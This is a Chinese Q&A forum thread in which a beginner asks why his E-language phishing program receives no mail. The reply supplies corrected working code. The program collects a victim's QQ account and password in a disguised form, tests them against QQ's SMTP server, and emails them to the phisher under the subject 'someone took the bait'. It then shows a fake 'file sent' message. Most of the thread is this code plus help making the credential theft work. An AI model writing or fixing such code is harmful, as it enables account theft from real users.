Question

易语言钓鱼收不到信

.版本 2
.支持库 internet

.子程序 _按钮1_被单击

.判断开始 (连接发信服务器 (“smtp.qq.com”, 25, 编辑框1.内容, 编辑框2.内容, ))

.默认
信息框 (“请输入正确的QQ号及密码！”, #警告图标, )
返回 ()
.判断结束
断开发信服务器 ()
.判断开始 (连接发信服务器 (“smtp.qq.com”, 25, “Q号”, “ Q密”, ) ＝ 真)
发送邮件 (“有人上勾了”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “xxxxxxxxx@qq.com”, , , “xxxxxxxxx@qq.com”, )
按钮1.标题 ＝ “正在发送......”
延时 (3000)
信息框 (“该文件已发送至你的邮箱，请注意查收！” ＋ #换行符 ＋ #换行符 ＋ “如果你在48小时内未收到文件，请重新使用本软件发送！”, #信息图标, “发送成功”)
smtp开了的，
我是易语言新手，高手勿骂！

Answer 1

.版本 2
.支持库 internet

.子程序 _按钮1_被单击

.如果 (连接发信服务器 (“smtp.qq.com”, 25, 编辑框1.内容, 编辑框2.内容, ) ＝ 真) ' 用别人的邮箱登陆邮件服务器验证对方密码是否正确，别人如果没开通SMTP或设置了邮箱的独立密码是验证不出来的。
.如果 (连接发信服务器 (“smtp.qq.com”, 25, “你的邮箱账号”, “ 你的邮箱密码”, ) ＝ 真) ' 用你自己的账号发信给自己就行了。
发送邮件 (“有人上勾了”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “你的邮箱账号”, , , “你的邮箱账号”, )
.否则
信息框 (“连接发信服务器失败”, #警告图标, ) ' 你自己的账号如果连接发信服务器失败返回的信息，可以取消
.如果结束

.否则
信息框 (“登陆失败啦什么什么滴！！！自己改”, 0, ) ' 用别人账号登陆发信服务器失败返回的信息
.如果结束

不知道是不是你要的，如果不想验证用下面的最简单

.版本 2
.支持库 internet
.版本 2

.子程序 _按钮1_被单击

连接发信服务器 (“smtp.qq.com”, 25, “你的邮箱账号”, “ 你的邮箱密码”, ) ' 用你自己的账号发信给自己就行了。
发送邮件 (“有人上勾了”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “你的邮箱账号”, , , “你的邮箱账号”, )

追问

信息框 (“连接发信服务器失败”, #警告图标, )
万一它一直都显示这个呢？

追答

那就是没连接上SMTP服务器，可以检查下邮箱账号或密码是否输入正确。网络是否正常。或是账号否开通了SMTP！